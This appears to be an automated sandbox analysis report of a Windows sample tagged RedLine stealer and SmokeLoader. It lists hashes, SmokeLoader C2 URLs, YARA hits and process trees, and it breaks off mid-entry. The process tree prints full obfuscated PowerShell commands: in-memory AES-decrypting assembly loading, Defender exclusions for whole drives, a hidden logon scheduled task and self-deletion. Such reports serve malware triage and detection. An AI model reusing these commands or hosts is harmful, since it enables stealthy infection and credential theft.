redline | 683f0358815c8f598b1fe8b537e072a515115da4d2e63fcc6e9ffbf61870d3c0

Resubmissions

19/04/2023, 16:08

230419-tlgy2sbg57 10

19/04/2023, 16:05

230419-tjjpvsbg25 10

Analysis

max time kernel
150s
max time network
147s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
19/04/2023, 16:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c7e25075b3d4200b1c9ef102c4c32eb2.exe
Size

236KB
MD5

c7e25075b3d4200b1c9ef102c4c32eb2
SHA1

e0ac9316bfd05f46ad7da13526ec2d5b03202046
SHA256

683f0358815c8f598b1fe8b537e072a515115da4d2e63fcc6e9ffbf61870d3c0
SHA512

8c32854ee4aa14ef5ceb249fe37e13d142c3cc0eb0f23dc10a0b95f6598e87eb5fdf97b5d1d101caf0472e0b3899cf0adf4c56bd96048fe3987f8adb6c22a476
SSDEEP

3072:1Xble7H5QnsEQP6MzIM28KFy9XwHUHgG/Nf5/FEWwYPDpJKJRfeI:NleVXEQiMMM28KA9XLgMNhFaYPDWJ

Score

10^/10

redline smokeloader sprg backdoor infostealer stealer trojan

Malware Config

Extracted

Family

smokeloader

Botnet

sprg

Extracted

Family

smokeloader

Version

2022

http://hoh0aeghwugh2gie.com/

http://hie7doodohpae4na.com/

http://aek0aicifaloh1yo.com/

http://yic0oosaeiy7ahng.com/

http://wa5zu7sekai8xeih.com/

rc4.i32

Signatures

Detects Redline Stealer samples 2 IoCs

This rule detects the presence of Redline Stealer samples based on their unique strings.

stealer

resource	yara_rule
behavioral1/memory/4852-143-0x0000000007910000-0x0000000007F38000-memory.dmp	redline_stealer
behavioral1/memory/4852-148-0x0000000007F50000-0x0000000007FB6000-memory.dmp	redline_stealer

Detects any file with a triage score of 10 1 IoCs

This file has been assigned a triage score of 10, indicating a high likelihood of malicious behavior.

resource	yara_rule
behavioral1/memory/4852-172-0x0000000009820000-0x000000000982A000-memory.dmp	triage_score_10

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Deletes itself 1 IoCs

pid	Process
3208	Process not Found

Executes dropped EXE 4 IoCs

pid	Process
4852	78D9.bat.exe
1956	tfatvbw
1596	olTsz.bat.exe
3364	mic3l041.aln.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c7e25075b3d4200b1c9ef102c4c32eb2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c7e25075b3d4200b1c9ef102c4c32eb2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c7e25075b3d4200b1c9ef102c4c32eb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tfatvbw
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tfatvbw
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tfatvbw

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings	78D9.bat.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3628	c7e25075b3d4200b1c9ef102c4c32eb2.exe
3628	c7e25075b3d4200b1c9ef102c4c32eb2.exe
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3208	Process not Found

Suspicious behavior: MapViewOfSection 20 IoCs

pid	Process
3628	c7e25075b3d4200b1c9ef102c4c32eb2.exe
1956	tfatvbw
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found
3208	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeDebugPrivilege	4852	78D9.bat.exe
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeIncreaseQuotaPrivilege	4720	powershell.exe
Token: SeSecurityPrivilege	4720	powershell.exe
Token: SeTakeOwnershipPrivilege	4720	powershell.exe
Token: SeLoadDriverPrivilege	4720	powershell.exe
Token: SeSystemProfilePrivilege	4720	powershell.exe
Token: SeSystemtimePrivilege	4720	powershell.exe
Token: SeProfSingleProcessPrivilege	4720	powershell.exe
Token: SeIncBasePriorityPrivilege	4720	powershell.exe
Token: SeCreatePagefilePrivilege	4720	powershell.exe
Token: SeBackupPrivilege	4720	powershell.exe
Token: SeRestorePrivilege	4720	powershell.exe
Token: SeShutdownPrivilege	4720	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeSystemEnvironmentPrivilege	4720	powershell.exe
Token: SeRemoteShutdownPrivilege	4720	powershell.exe
Token: SeUndockPrivilege	4720	powershell.exe
Token: SeManageVolumePrivilege	4720	powershell.exe
Token: 33	4720	powershell.exe
Token: 34	4720	powershell.exe
Token: 35	4720	powershell.exe
Token: 36	4720	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeIncreaseQuotaPrivilege	2820	powershell.exe
Token: SeSecurityPrivilege	2820	powershell.exe
Token: SeTakeOwnershipPrivilege	2820	powershell.exe
Token: SeLoadDriverPrivilege	2820	powershell.exe
Token: SeSystemProfilePrivilege	2820	powershell.exe
Token: SeSystemtimePrivilege	2820	powershell.exe
Token: SeProfSingleProcessPrivilege	2820	powershell.exe
Token: SeIncBasePriorityPrivilege	2820	powershell.exe
Token: SeCreatePagefilePrivilege	2820	powershell.exe
Token: SeBackupPrivilege	2820	powershell.exe
Token: SeRestorePrivilege	2820	powershell.exe
Token: SeShutdownPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeSystemEnvironmentPrivilege	2820	powershell.exe
Token: SeRemoteShutdownPrivilege	2820	powershell.exe
Token: SeUndockPrivilege	2820	powershell.exe
Token: SeManageVolumePrivilege	2820	powershell.exe
Token: 33	2820	powershell.exe
Token: 34	2820	powershell.exe
Token: 35	2820	powershell.exe
Token: 36	2820	powershell.exe
Token: SeIncreaseQuotaPrivilege	2820	powershell.exe
Token: SeSecurityPrivilege	2820	powershell.exe
Token: SeTakeOwnershipPrivilege	2820	powershell.exe
Token: SeLoadDriverPrivilege	2820	powershell.exe
Token: SeSystemProfilePrivilege	2820	powershell.exe
Token: SeSystemtimePrivilege	2820	powershell.exe
Token: SeProfSingleProcessPrivilege	2820	powershell.exe
Token: SeIncBasePriorityPrivilege	2820	powershell.exe
Token: SeCreatePagefilePrivilege	2820	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3208 wrote to memory of 3924	3208	Process not Found	66
PID 3208 wrote to memory of 3924	3208	Process not Found	66
PID 3924 wrote to memory of 4500	3924	cmd.exe	68
PID 3924 wrote to memory of 4500	3924	cmd.exe	68
PID 4500 wrote to memory of 4852	4500	cmd.exe	70
PID 4500 wrote to memory of 4852	4500	cmd.exe	70
PID 4500 wrote to memory of 4852	4500	cmd.exe	70
PID 4852 wrote to memory of 4076	4852	78D9.bat.exe	71
PID 4852 wrote to memory of 4076	4852	78D9.bat.exe	71
PID 4852 wrote to memory of 4076	4852	78D9.bat.exe	71
PID 4852 wrote to memory of 5064	4852	78D9.bat.exe	73
PID 4852 wrote to memory of 5064	4852	78D9.bat.exe	73
PID 4852 wrote to memory of 5064	4852	78D9.bat.exe	73
PID 4852 wrote to memory of 4720	4852	78D9.bat.exe	76
PID 4852 wrote to memory of 4720	4852	78D9.bat.exe	76
PID 4852 wrote to memory of 4720	4852	78D9.bat.exe	76
PID 4852 wrote to memory of 2820	4852	78D9.bat.exe	78
PID 4852 wrote to memory of 2820	4852	78D9.bat.exe	78
PID 4852 wrote to memory of 2820	4852	78D9.bat.exe	78
PID 3208 wrote to memory of 5076	3208	Process not Found	80
PID 3208 wrote to memory of 5076	3208	Process not Found	80
PID 3208 wrote to memory of 5076	3208	Process not Found	80
PID 3208 wrote to memory of 5076	3208	Process not Found	80
PID 3208 wrote to memory of 4872	3208	Process not Found	81
PID 3208 wrote to memory of 4872	3208	Process not Found	81
PID 3208 wrote to memory of 4872	3208	Process not Found	81
PID 4852 wrote to memory of 3944	4852	78D9.bat.exe	82
PID 4852 wrote to memory of 3944	4852	78D9.bat.exe	82
PID 4852 wrote to memory of 3944	4852	78D9.bat.exe	82
PID 3208 wrote to memory of 1520	3208	Process not Found	83
PID 3208 wrote to memory of 1520	3208	Process not Found	83
PID 3208 wrote to memory of 1520	3208	Process not Found	83
PID 3208 wrote to memory of 1520	3208	Process not Found	83
PID 3944 wrote to memory of 4448	3944	WScript.exe	84
PID 3944 wrote to memory of 4448	3944	WScript.exe	84
PID 3944 wrote to memory of 4448	3944	WScript.exe	84
PID 4448 wrote to memory of 1596	4448	cmd.exe	86
PID 4448 wrote to memory of 1596	4448	cmd.exe	86
PID 4448 wrote to memory of 1596	4448	cmd.exe	86
PID 3208 wrote to memory of 2480	3208	Process not Found	87
PID 3208 wrote to memory of 2480	3208	Process not Found	87
PID 3208 wrote to memory of 2480	3208	Process not Found	87
PID 3208 wrote to memory of 3372	3208	Process not Found	88
PID 3208 wrote to memory of 3372	3208	Process not Found	88
PID 3208 wrote to memory of 3372	3208	Process not Found	88
PID 3208 wrote to memory of 3372	3208	Process not Found	88
PID 3208 wrote to memory of 2100	3208	Process not Found	89
PID 3208 wrote to memory of 2100	3208	Process not Found	89
PID 3208 wrote to memory of 2100	3208	Process not Found	89
PID 3208 wrote to memory of 2100	3208	Process not Found	89
PID 3208 wrote to memory of 2076	3208	Process not Found	90
PID 3208 wrote to memory of 2076	3208	Process not Found	90
PID 3208 wrote to memory of 2076	3208	Process not Found	90
PID 3208 wrote to memory of 2076	3208	Process not Found	90
PID 1596 wrote to memory of 4200	1596	olTsz.bat.exe	91
PID 1596 wrote to memory of 4200	1596	olTsz.bat.exe	91
PID 1596 wrote to memory of 4200	1596	olTsz.bat.exe	91
PID 1596 wrote to memory of 3232	1596	olTsz.bat.exe	93
PID 1596 wrote to memory of 3232	1596	olTsz.bat.exe	93
PID 1596 wrote to memory of 3232	1596	olTsz.bat.exe	93
PID 3208 wrote to memory of 3112	3208	Process not Found	95
PID 3208 wrote to memory of 3112	3208	Process not Found	95
PID 3208 wrote to memory of 3112	3208	Process not Found	95
PID 3208 wrote to memory of 220	3208	Process not Found	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\c7e25075b3d4200b1c9ef102c4c32eb2.exe
"C:\Users\Admin\AppData\Local\Temp\c7e25075b3d4200b1c9ef102c4c32eb2.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3628

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\78D9.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:3924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\78D9.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Users\Admin\AppData\Local\Temp\78D9.bat.exe
    "C:\Users\Admin\AppData\Local\Temp\78D9.bat.exe" -w hidden -c $Yhss='COBPTreaOBPTteOBPTDecOBPTryOBPTptOBPTorOBPT'.Replace('OBPT', '');$CYDS='MOBPTainMOBPToduOBPTlOBPTeOBPT'.Replace('OBPT', '');$Lvkd='TraOBPTnOBPTsfOBPTormOBPTFinOBPTalOBPTBlOBPToOBPTckOBPT'.Replace('OBPT', '');$oRgU='FiOBPTrOBPTstOBPT'.Replace('OBPT', '');$XmlI='SpOBPTlitOBPT'.Replace('OBPT', '');$oNkQ='GeOBPTtCOBPTuOBPTrrOBPTentOBPTPOBPTroOBPTcOBPTesOBPTsOBPT'.Replace('OBPT', '');$ZQpO='EnOBPTtOBPTrOBPTyOBPTPoiOBPTnOBPTtOBPT'.Replace('OBPT', '');$wkxV='ChanOBPTgeEOBPTxteOBPTnsiOBPTonOBPT'.Replace('OBPT', '');$DpWU='LoaOBPTdOBPT'.Replace('OBPT', '');$tmSV='InOBPTvOBPTokOBPTeOBPT'.Replace('OBPT', '');$qrdA='ReadOBPTLiOBPTnesOBPT'.Replace('OBPT', '');$ujLd='FrOBPTomBOBPTasOBPTe64OBPTSOBPTtrOBPTingOBPT'.Replace('OBPT', '');function YwbRc($LbUAF){$VKueZ=[System.Security.Cryptography.Aes]::Create();$VKueZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$VKueZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$VKueZ.Key=[System.Convert]::$ujLd('W9fChbBVxve7XC6gEtL6ycNU/d+U1Givk93frR5IDQs=');$VKueZ.IV=[System.Convert]::$ujLd('udmMANy4uNJ7yFspg1Rrzw==');$JKnul=$VKueZ.$Yhss();$dzRYO=$JKnul.$Lvkd($LbUAF,0,$LbUAF.Length);$JKnul.Dispose();$VKueZ.Dispose();$dzRYO;}function jClid($LbUAF){$qfZKy=New-Object System.IO.MemoryStream(,$LbUAF);$DgUOH=New-Object System.IO.MemoryStream;$xPkWq=New-Object System.IO.Compression.GZipStream($qfZKy,[IO.Compression.CompressionMode]::Decompress);$xPkWq.CopyTo($DgUOH);$xPkWq.Dispose();$qfZKy.Dispose();$DgUOH.Dispose();$DgUOH.ToArray();}$YiUaM=[System.Linq.Enumerable]::$oRgU([System.IO.File]::$qrdA([System.IO.Path]::$wkxV([System.Diagnostics.Process]::$oNkQ().$CYDS.FileName, $null)));$XdmBJ=$YiUaM.Substring(3).$XmlI(':');$wIgfY=jClid (YwbRc ([Convert]::$ujLd($XdmBJ[0])));$eAKZo=jClid (YwbRc ([Convert]::$ujLd($XdmBJ[1])));[System.Reflection.Assembly]::$DpWU([byte[]]$eAKZo).$ZQpO.$tmSV($null,$null);[System.Reflection.Assembly]::$DpWU([byte[]]$wIgfY).$ZQpO.$tmSV($null,$null);
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4852);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4076
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5064
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\78D9')
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4720
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_olTsz' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\olTsz.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2820
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\olTsz.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3944
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\olTsz.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4448
      - C:\Users\Admin\AppData\Roaming\olTsz.bat.exe
        
        "C:\Users\Admin\AppData\Roaming\olTsz.bat.exe" -w hidden -c $Yhss='COBPTreaOBPTteOBPTDecOBPTryOBPTptOBPTorOBPT'.Replace('OBPT', '');$CYDS='MOBPTainMOBPToduOBPTlOBPTeOBPT'.Replace('OBPT', '');$Lvkd='TraOBPTnOBPTsfOBPTormOBPTFinOBPTalOBPTBlOBPToOBPTckOBPT'.Replace('OBPT', '');$oRgU='FiOBPTrOBPTstOBPT'.Replace('OBPT', '');$XmlI='SpOBPTlitOBPT'.Replace('OBPT', '');$oNkQ='GeOBPTtCOBPTuOBPTrrOBPTentOBPTPOBPTroOBPTcOBPTesOBPTsOBPT'.Replace('OBPT', '');$ZQpO='EnOBPTtOBPTrOBPTyOBPTPoiOBPTnOBPTtOBPT'.Replace('OBPT', '');$wkxV='ChanOBPTgeEOBPTxteOBPTnsiOBPTonOBPT'.Replace('OBPT', '');$DpWU='LoaOBPTdOBPT'.Replace('OBPT', '');$tmSV='InOBPTvOBPTokOBPTeOBPT'.Replace('OBPT', '');$qrdA='ReadOBPTLiOBPTnesOBPT'.Replace('OBPT', '');$ujLd='FrOBPTomBOBPTasOBPTe64OBPTSOBPTtrOBPTingOBPT'.Replace('OBPT', '');function YwbRc($LbUAF){$VKueZ=[System.Security.Cryptography.Aes]::Create();$VKueZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$VKueZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$VKueZ.Key=[System.Convert]::$ujLd('W9fChbBVxve7XC6gEtL6ycNU/d+U1Givk93frR5IDQs=');$VKueZ.IV=[System.Convert]::$ujLd('udmMANy4uNJ7yFspg1Rrzw==');$JKnul=$VKueZ.$Yhss();$dzRYO=$JKnul.$Lvkd($LbUAF,0,$LbUAF.Length);$JKnul.Dispose();$VKueZ.Dispose();$dzRYO;}function jClid($LbUAF){$qfZKy=New-Object System.IO.MemoryStream(,$LbUAF);$DgUOH=New-Object System.IO.MemoryStream;$xPkWq=New-Object System.IO.Compression.GZipStream($qfZKy,[IO.Compression.CompressionMode]::Decompress);$xPkWq.CopyTo($DgUOH);$xPkWq.Dispose();$qfZKy.Dispose();$DgUOH.Dispose();$DgUOH.ToArray();}$YiUaM=[System.Linq.Enumerable]::$oRgU([System.IO.File]::$qrdA([System.IO.Path]::$wkxV([System.Diagnostics.Process]::$oNkQ().$CYDS.FileName, $null)));$XdmBJ=$YiUaM.Substring(3).$XmlI(':');$wIgfY=jClid (YwbRc ([Convert]::$ujLd($XdmBJ[0])));$eAKZo=jClid (YwbRc ([Convert]::$ujLd($XdmBJ[1])));[System.Reflection.Assembly]::$DpWU([byte[]]$eAKZo).$ZQpO.$tmSV($null,$null);[System.Reflection.Assembly]::$DpWU([byte[]]$wIgfY).$ZQpO.$tmSV($null,$null);
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1596
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1596);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        7⤵
        
        PID:4200
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
        7⤵
        
        PID:3232
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\olTsz')
        7⤵
        
        PID:1788
        
        C:\Users\Admin\AppData\Local\Temp\mic3l041.aln.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mic3l041.aln.exe"
        7⤵
        Executes dropped EXE
        
        PID:3364
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3364);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        7⤵
        
        PID:708

C:\Users\Admin\AppData\Roaming\tfatvbw
C:\Users\Admin\AppData\Roaming\tfatvbw
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1956

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5076

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4872

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1520

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2480

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3372

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2100

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2076

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3112

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
1c19c16e21c97ed42d5beabc93391fc5

SHA1
8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

SHA256
1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

SHA512
7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
45KB

MD5
5f640bd48e2547b4c1a7421f080f815f

SHA1
a8f4a743f5b7da5cba7b8e6fb1d7ad4d67fefc6a

SHA256
916c83c7c8d059aea295523b8b3f24e1e2436df894f7fae26c47c9bad04baa9c

SHA512
a6ac100a351946b1bbb40c98aeda6e16e12f90f81063aff08c16d4d9afec8ed65c2cbcf25b42946627d67653f75740b1137dab625c99e9492ba35aba68b79a8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
c28cbd37469d8225389559cff4b1dc87

SHA1
0e2b730e0712a95d077e5608cb8d0b30d4afaf3e

SHA256
4272316bc6c12db63367b43dd0abe37099da5843cde2269545e9d41c54d315aa

SHA512
39985881a6226ebfbf4074c248d4ebd5efbedd352e23838f89b8841d4882997661235b2d33489c4d07fc513047c249b5fd8d8c401d759d41b6b1f76edf6d8cd2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
5b44c7bdee167d74d98e044bf4a50954

SHA1
78ba2fcda67ce8f40f8ef99243b7127e771b467c

SHA256
6591a1a008602a2d912d113f0a63d6578991bf738dff9dd12b03175cdf27f619

SHA512
05a584bb068079456e585b7b6bcba91a07a865254b1ae969a64832ced6508fbdf7f60cb02de5f0ddd411613ee52bf56410bb3b52c39c0b8ecdd21d1c1320614a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
a51911e3c40c9e6a48cc39f10071ac18

SHA1
92926df30e6e52a041bcd0f44466928daca0c9a8

SHA256
53107838cf49c75c6bae84285a5470589caca7a23404f36661f70cb99cf6b51a

SHA512
559fafe6d13e439afb4bc6c4f83699663bbbba803a65788fcd0cb4a43e3f463167ea170c35b1006ed823203fbfb42a998cb85f514c88a3642f8d32fc0ed26191

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
a51911e3c40c9e6a48cc39f10071ac18

SHA1
92926df30e6e52a041bcd0f44466928daca0c9a8

SHA256
53107838cf49c75c6bae84285a5470589caca7a23404f36661f70cb99cf6b51a

SHA512
559fafe6d13e439afb4bc6c4f83699663bbbba803a65788fcd0cb4a43e3f463167ea170c35b1006ed823203fbfb42a998cb85f514c88a3642f8d32fc0ed26191

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
6f63e178bf71817daca7fa35e6f60776

SHA1
bbfb8fc8f4082f55d6cf87a9dd11e6aa41e70d5e

SHA256
fa9d0c19d6c137f066fe7de3b7b8f3714b736f01a8f702e853fa7f8d520f8b78

SHA512
e19d02b82f604b6b09378be68c5a627c38a4770dc27749dde6921ab4bfbc4bb3021060fb5629f53c90456a4fe2e9a3268bdee6963ce06e2cbd70cb83297b38a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
faf1e69980c2d1e453b8f76d7679405e

SHA1
476be14f41ad1631d596b2af30636d0eaa83a6c5

SHA256
4145d7fab6976edad4980655232e38ddc06254f74bcbc002cab3c254429aac12

SHA512
2a1ed8ba65e5b0091f0d4305d447c5539854c588e499544d771a74321fd26b6eb90342cbbe8351d3b224a3af98a60ea99953f28875bf85a6184a2fd246a4c24e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
5b099483629cd78c5f6a30259e38f712

SHA1
890d438c012cfc8367714886f159427748d914d1

SHA256
b7049e03feffc7f101d491f9387189af628838a43d462ee94ac01fd9432bc584

SHA512
9a9d6a20f2d4ccea864fe38253b9882ffd20b1ede366f3cd1b8d7f843373c2ff3e285b214ad6baa008d262938c37dfa4f69e77d7284921da6e6d9c87cfc08ff5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
5b099483629cd78c5f6a30259e38f712

SHA1
890d438c012cfc8367714886f159427748d914d1

SHA256
b7049e03feffc7f101d491f9387189af628838a43d462ee94ac01fd9432bc584

SHA512
9a9d6a20f2d4ccea864fe38253b9882ffd20b1ede366f3cd1b8d7f843373c2ff3e285b214ad6baa008d262938c37dfa4f69e77d7284921da6e6d9c87cfc08ff5

Download Submit
C:\Users\Admin\AppData\Local\Temp\78D9.bat

Filesize
352KB

MD5
2115cc47f7ef6e7152e2326de4f32f2a

SHA1
ed68fa31b9f635cdeb3a26710c2ec9689dcb8f97

SHA256
6ae23d8550d0f10cd34797e5821fd78a2d50236e9f8a931a398f8f26daffbfad

SHA512
1c3727cfa39dc010dec742f0f98eba3d881a7802ed59c28b74daa514b71dee8e62e8ba21514ecb2bd9ae3a765b4d029f29ceee1f2865714c10255d6820811012

Download Submit
C:\Users\Admin\AppData\Local\Temp\78D9.bat.exe

Filesize
420KB

MD5
be8ffebe1c4b5e18a56101a3c0604ea0

SHA1
2ec8af7c1538974d64291845dcb02111b907770f

SHA256
